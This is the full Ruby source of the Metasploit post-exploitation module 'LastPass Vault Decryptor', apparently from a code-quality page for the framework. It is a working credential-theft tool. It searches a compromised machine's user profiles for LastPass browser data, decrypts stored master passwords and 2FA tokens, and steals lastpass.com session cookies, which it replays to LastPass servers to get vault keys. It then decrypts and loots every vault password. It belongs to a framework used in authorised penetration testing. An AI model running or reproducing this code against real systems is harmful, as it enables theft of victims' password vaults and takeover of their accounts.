rapid7/metasploit-framework

View on GitHub
modules/post/multi/gather/lastpass_creds.rb

Summary

Maintainability
F
1 wk
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
require 'sqlite3'
require 'uri'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::OSX::System
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LastPass Vault Decryptor',
        'Description' => %q{
          This module extracts and decrypts LastPass master login accounts and passwords,
          encryption keys, 2FA tokens and all the vault passwords
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
          'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
          'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
        ],
        'Platform' => %w[linux osx unix win],
        'References' => [
          [ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
        ],
        'SessionTypes' => %w[meterpreter shell],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_registry_open_key
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  def run
    if session.platform == 'windows' && session.type == 'shell' # No Windows shell support
      print_error 'Shell sessions on Windows are not supported'
      return
    end

    print_status 'Searching for LastPass databases'

    account_map = build_account_map
    if account_map.empty?
      print_status 'No databases found'
      return
    end

    print_status 'Extracting credentials'
    extract_credentials(account_map)

    print_status 'Extracting 2FA tokens'
    extract_2fa_tokens(account_map)

    print_status 'Extracting vault and iterations'
    extract_vault_and_iterations(account_map)

    print_status 'Extracting encryption keys'
    extract_vault_keys(account_map)

    print_lastpass_data(account_map)
  end

  # Returns a mapping of lastpass accounts
  def build_account_map
    profiles = user_profiles
    account_map = {}

    profiles.each do |user_profile|
      account = user_profile['UserName']
      browser_path_map = {}
      localstorage_path_map = {}
      cookies_path_map = {}

      case session.platform
      when 'windows'
        browser_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
          'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
          'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
        }
        localstorage_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
          'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
          'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
        }
        cookies_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
          'Firefox' => '', # It's set programmatically
          'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
        }
      when 'unix', 'linux'
        browser_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
          'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
        }
        localstorage_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
          'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
        }
        cookies_path_map = { # TODO
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
          'Firefox' => '', # It's set programmatically
          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
        }
      when 'osx'
        browser_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
          'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
          'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
        }
        localstorage_path_map = {
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
          'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
          'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
        }
        cookies_path_map = { # TODO
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
          'Firefox' => '', # It's set programmatically
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
          'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
        }
      else
        print_error "Platform not recognized: #{session.platform}"
      end

      account_map[account] = {}
      browser_path_map.each_pair do |browser, path|
        account_map[account][browser] = {}
        db_paths = find_db_paths(path, browser, account)
        if db_paths && !db_paths.empty?
          account_map[account][browser]['lp_db_path'] = db_paths.first
          account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
          account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
          account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
        else
          account_map[account].delete(browser)
        end
      end
    end

    account_map
  end

  # Returns a list of DB paths found in the victims' machine
  def find_db_paths(path, browser, account)
    paths = []

    vprint_status "Checking #{account}'s #{browser}"
    if browser == 'IE' # Special case for IE
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?
      paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)
    elsif browser == 'Firefox' # Special case for Firefox
      paths |= firefox_profile_files(path)
    else
      paths |= file_paths(path)
    end

    vprint_good "Found #{paths.size} #{browser} databases for #{account}"
    paths
  end

  # Returns the relevant information from user profiles
  def user_profiles
    user_profiles = []
    case session.platform
    when /unix|linux/
      user_names = dir('/home')
      user_names.reject! { |u| %w[. ..].include?(u) }
      user_names.each do |user_name|
        user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")
      end
    when /osx/
      user_names = session.shell_command('ls /Users').split
      user_names.reject! { |u| u == 'Shared' }
      user_names.each do |user_name|
        user_profiles.push(
          'UserName' => user_name,
          'AppData' => "/Users/#{user_name}/Library",
          'LocalAppData' => "/Users/#{user_name}/Library/Application Support"
        )
      end
    when /windows/
      user_profiles |= grab_user_profiles
    else
      print_error "OS not recognized: #{session.platform}"
    end
    user_profiles
  end

  # Extracts the databases paths from the given folder ignoring . and ..
  def file_paths(path)
    found_dbs_paths = []

    files = []
    files = dir(path) if directory?(path)
    files.each do |file_path|
      unless %w[. .. Shared].include?(file_path)
        found_dbs_paths.push([path, file_path].join(system_separator))
      end
    end

    found_dbs_paths
  end

  # Returns the profile files for Firefox
  def firefox_profile_files(path)
    found_dbs_paths = []

    if directory?(path)
      files = dir(path)
      files.reject! { |file| %w[. ..].include?(file) }
      files.each do |file_path|
        found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
      end
    end

    [found_dbs_paths]
  end

  # Parses the Firefox preferences file and returns encoded credentials
  def ie_firefox_credentials(prefs_path, localstorage_db_path)
    credentials = []
    data = nil

    if prefs_path.nil? # IE
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?
      return [] if data.blank?

      usernames = data.split('|')
      usernames.each do |username|
        credentials << [username, nil]
      end

      # Extract master passwords
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')
      data = Rex::Text.encode_base64(data) unless data.blank?
    else # Firefox
      loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')
      return [] unless loot_path

      File.readlines(loot_path).each do |line|
        next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line

        usernames = encoded_users.split('|')
        usernames.each do |username|
          credentials << [username, nil]
        end
        break
      end

      # Extract master passwords
      path = localstorage_db_path + system_separator + 'lp.loginpws'
      data = read_remote_file(path) if file?(path) # Read file if it exists
    end

    # Get encrypted master passwords
    data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection
    return credentials if data.blank? # No passwords stored

    creds_per_user = data.split('|')
    creds_per_user.each_with_index do |user_creds, _index|
      parts = user_creds.split('=')
      for creds in credentials
        creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
      end
    end
    credentials
  end

  def decrypt_data(key, encrypted_data)
    return nil if encrypted_data.blank?

    if encrypted_data.include?('|') # Use CBC
      decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
      decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
      encrypted_data = encrypted_data[26..] # Take only the data part
    else # Use ECB
      decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
    end

    begin
      decipher.key = key
      decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
    rescue OpenSSL::Cipher::CipherError => e
      vprint_error "Data could not be decrypted. #{e.message}"
    end

    decrypted_data
  end

  def extract_credentials(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        account_map[account][browser]['lp_creds'] = {}
        if browser.match(/Firefox|IE/)
          if browser == 'Firefox'
            ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
          else # IE
            ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
          end
          unless ieffcreds.blank?
            ieffcreds.each do |creds|
              if creds[1].blank? # No master password found
                account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
              else
                sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
                sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
                creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
                account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
              end
            end
          end
        else # Chrome, Safari and Opera
          loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
          account_map[account][browser]['lp_db_loot'] = loot_path
          next if loot_path.blank?

          # Parsing/Querying the DB
          db = SQLite3::Database.new(loot_path)
          result = db.execute(
            'SELECT username, password FROM LastPassSavedLogins2 ' \
            "WHERE username IS NOT NULL AND username != '' " \
          )

          for row in result
            next unless row[0]

            sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
            sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
            row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
            account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
          end
        end
      end
    end
  end

  # Extracts the 2FA token from localStorage
  def extract_2fa_tokens(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        if browser.match(/Firefox|IE/)
          path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
          data = read_remote_file(path) if file?(path) # Read file if it exists
          data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
          loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
          account_map[account][browser]['lp_2fa'] = data
        else # Chrome, Safari and Opera
          loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
          unless loot_path.blank?
            db = SQLite3::Database.new(loot_path)
            token = db.execute(
              'SELECT hex(value) FROM ItemTable ' \
              "WHERE key = 'lp.uid';"
            ).flatten
          end
          token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
        end
      end
    end
  end

  # Print all extracted LastPass data
  def print_lastpass_data(account_map)
    lastpass_data_table = Rex::Text::Table.new(
      'Header' => 'LastPass Accounts',
      'Indent' => 1,
      'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]
    )

    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |_browser, lp_data|
        lp_data['lp_creds'].each_pair do |username, user_data|
          lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
        end
      end
    end

    unless account_map.empty?
      print_good lastpass_data_table.to_s
      loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')
      print_vault_passwords(account_map)
    end
  end

  def extract_vault_and_iterations(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        lp_data['lp_creds'].each_pair do |username, _user_data|
          if browser.match(/Firefox|IE/)
            if browser == 'Firefox'
              iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'
              vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'
            else # IE
              iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'
              vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'
            end
            iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
            iterations = nil if iterations.blank? # Verify content
            lp_data['lp_creds'][username]['iterations'] = iterations

            # Find encrypted vault
            vault = read_remote_file(vault_path)
            vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection
            vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info
            loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
            lp_data['lp_creds'][username]['vault_loot'] = loot_path

          else # Chrome, Safari and Opera
            db = SQLite3::Database.new(lp_data['lp_db_loot'])
            result = db.execute(
              'SELECT data FROM LastPassData ' \
              "WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
            )

            if result.size == 1 && !result[0].blank?
              if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
                lp_data['lp_creds'][username]['iterations'] = iterations
              else
                lp_data['lp_creds'][username]['iterations'] = 1
              end
              loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
              lp_data['lp_creds'][username]['vault_loot'] = loot_path
            else
              lp_data['lp_creds'][username]['iterations'] = nil
              lp_data['lp_creds'][username]['vault_loot'] = nil
            end
          end
        end
      end
    end
  end

  def extract_vault_keys(account_map)
    account_map.each_pair do |account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
        lp_data['lp_creds'].each_pair do |username, user_data|
          if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials
            lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
          else # Get vault key decrypting the locally stored one or from the disabled OTP
            unless browser_checked
              decrypt_local_vault_key(account, browser_map)
              browser_checked = true
            end
            if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
              otpbin = extract_otpbin(browser, username, lp_data)
              otpbin.blank? ? next : otpbin = otpbin[0..31]

              lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
            end
          end
        end
      end
    end
  end

  # Decrypt the locally stored vault key
  def decrypt_local_vault_key(account, browser_map)
    data = nil
    session_cookie_value = nil

    browser_map.each_pair do |browser, lp_data|
      if browser == 'IE' && directory?(lp_data['cookies_db'])
        cookies_files = dir(lp_data['cookies_db'])
        cookies_files.reject! { |u| %w[. ..].include?(u) }
        cookies_files.each do |cookie_jar_file|
          data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
          next if data.blank?

          next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id

          loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")
          session_cookie_value = session_cookie_value_match
          break
        end
      else
        case browser
        when /Chrome/
          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
        when 'Opera'
          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
        when 'Firefox'
          query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
        else
          vprint_error "Browser #{browser} not supported for cookies"
          next
        end
        # Parsing/Querying the DB
        loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")
        next if loot_path.blank?

        db = SQLite3::Database.new(loot_path)
        begin
          result = db.execute(query)
        rescue SQLite3::SQLException => e
          vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
          next
        end
        next if result.blank? # No session cookie found for this browser

        session_cookie_value = result[0][0]
      end
      return if session_cookie_value.blank?

      # Check if cookie value needs to be decrypted
      if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
        session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
      elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
        begin
          decipher = OpenSSL::Cipher.new('AES-256-CBC')
          decipher.decrypt
          decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')
          decipher.iv = ' ' * 16
          session_cookie_value = session_cookie_value[3..] # Discard v10
          session_cookie_value = decipher.update(session_cookie_value) + decipher.final
        rescue OpenSSL::Cipher::CipherError => e
          print_error "Cookie could not be decrypted. #{e.message}"
        end
      end

      # Use the cookie to obtain the encryption key to decrypt the vault key
      uri = URI('https://lastpass.com/login_check.php')
      request = Net::HTTP::Post.new(uri)
      request.set_form_data('wxsessid' => URI.unescape(session_cookie_value), 'uuid' => browser_map['lp_2fa'])
      request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
      response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }

      # Parse response
      next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired

      decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])
      username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]

      # Get the local encrypted vault key
      encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)

      # Decrypt the local stored key
      lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)
    end
  end

  # Returns otp, encrypted_key
  def extract_otpbin(browser, username, lp_data)
    if browser.match(/Firefox|IE/)
      if browser == 'Firefox'
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
      else # IE
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
      end
      otpbin = read_remote_file(path) if file?(path) # Read file if it exists
      otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
      return otpbin
    else # Chrome, Safari and Opera
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
      result = db.execute(
        'SELECT type, data FROM LastPassData ' \
        "WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
      )
      return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
    end
  end

  def derive_vault_key_from_creds(username, password, key_iteration_count)
    if key_iteration_count == 1
      key = Digest::SHA256.hexdigest username + password
    else
      key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
    end
    key
  end

  def decrypt_vault_key_with_otp(username, otpbin)
    vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'
    encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
    decrypt_data(vault_key_decryption_key, encrypted_vault_key)
  end

  def retrieve_encrypted_vault_key_with_otp(username, otpbin)
    # Derive login hash from otp
    otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash

    # Make request to LastPass
    uri = URI('https://lastpass.com/otp.php')
    request = Net::HTTP::Post.new(uri)
    request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)
    request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
    response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }

    # Parse response
    encrypted_vault_key = nil
    if response.body.match(/randkey="(.*)"/)
      encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]
    end
    encrypted_vault_key
  end

  # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
  def lastpass_sha256(input)
    output = ''

    input = input.gsub("\r\n", "\n")

    input.each_byte do |e|
      if e < 128
        output += e.chr
      elsif (e > 127 && e < 2048)
        output += (e >> 6 | 192).chr
        output += (e & 63 | 128).chr
      else
        output += (e >> 12 | 224).chr
        output += (e >> 6 & 63 | 128).chr
      end
    end

    OpenSSL::Digest::SHA256.hexdigest(output)
  end

  def pbkdf2(password, salt, iterations, key_length)
    digest = OpenSSL::Digest.new('SHA256')
    OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
  end

  def windows_unprotect(data)
    data = Rex::Text.decode_base64(data)
    pid = session.sys.process.getpid
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
    mem = process.memory.allocate(data.length + 200)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
      addr = [mem].pack('V')
      len = [data.length].pack('V')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret['pDataOut'].unpack('V2')
    else
      addr = Rex::Text.pack_int64le(mem)
      len = Rex::Text.pack_int64le(data.length)
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      pData = ret['pDataOut'].unpack('VVVV')
      len = pData[0] + (pData[1] << 32)
      addr = pData[2] + (pData[3] << 32)
    end

    return '' if len == 0

    process.memory.read(addr, len)
  end

  def print_vault_passwords(account_map)
    account_map.each_pair do |_account, browser_map|
      browser_map.each_pair do |browser, lp_data|
        lp_data['lp_creds'].each_pair do |username, user_data|
          lastpass_vault_data_table = Rex::Text::Table.new(
            'Header' => "Decrypted vault from #{username}",
            'Indent' => 1,
            'Columns' => %w[URL Username Password]
          )
          if user_data['vault_loot'].nil? # Was a vault found?
            print_error "No vault was found for #{username}"
            next
          end
          encoded_vault = File.read(user_data['vault_loot'])
          if encoded_vault[0] == '!' # Vault is double encrypted
            encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)
            if encoded_vault.blank?
              print_error "Vault from #{username} could not be decrypted"
              next
            else
              encoded_vault = encoded_vault.sub('LPB64', '')
            end
          end

          # Parse vault
          vault = Rex::Text.decode_base64(encoded_vault)
          vault.scan(/ACCT/) do |_result|
            chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk
            chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk
            account_data = parse_vault_account(chunk, user_data['vault_key'])
            lastpass_vault_data_table << account_data if !account_data.nil?
          end

          next if account_map.empty? # Loot passwords

          if lastpass_vault_data_table.rows.empty?
            print_status('No decrypted vaults.')
          else
            print_good lastpass_vault_data_table.to_s
          end
          loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")
        end
      end
    end
  end

  def parse_vault_account(chunk, vault_key)
    pointer = 22 # Starting position to find data to decrypt
    labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']
    vault_data = []
    for label in labels
      if chunk[pointer..pointer + 3].nil?
        # Out of bound read
        return nil
      end

      length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)
      encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
      label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
      decrypted_data = '' if decrypted_data.nil?
      vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
      pointer = pointer + 4 + length
    end

    return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes
  end

  def decrypt_vault_password(key, encrypted_data)
    return nil if key.blank? || encrypted_data.blank?

    if encrypted_data[0] == '!' # Apply CBC
      decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
      decipher.iv = encrypted_data[1, 16] # Discard !
      encrypted_data = encrypted_data[17..]
    else # Apply ECB
      decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
    end
    decipher.key = [key].pack 'H*'

    begin
      return decipher.update(encrypted_data) + decipher.final
    rescue OpenSSL::Cipher::CipherError
      vprint_error "Vault password could not be decrypted with key #{key}"
      return nil
    end
  end

  # Reads a remote file and loots it
  def loot_file(path, data, title, type, description)
    data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
    return nil if data.nil?

    loot_path = store_loot(
      title,
      type,
      session,
      data,
      nil,
      description
    )
    loot_path
  end

  # Reads a remote file and returns the data
  def read_remote_file(path)
    data = nil

    begin
      data = read_file(path)
    rescue EOFError
      vprint_error "Error reading file #{path} It could be empty"
    end
    data
  end

  def read_registry_key_value(key, value)
    begin
      root_key, base_key = session.sys.registry.splitkey(key)
      reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
      return nil unless reg_key

      reg_value = reg_key.query_value(value)
      return nil unless reg_value
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error("#{e.message} (#{key}\\#{value})")
    end
    reg_key.close if reg_key
    return reg_value.blank? ? nil : reg_value.data
  end

  def extract_local_encrypted_vault_key(browser, username, lp_data)
    if browser.match(/Firefox|IE/)
      encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'
      encrypted_vault_key = read_remote_file(encrypted_key_path)
      encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
    else
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
      result = db.execute(
        'SELECT data FROM LastPassData ' \
        "WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
      )
      encrypted_vault_key = result[0][0]
    end

    return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
  end

  # Returns OS separator in a session type agnostic way
  def system_separator
    return session.platform == 'windows' ? '\\' : '/'
  end
end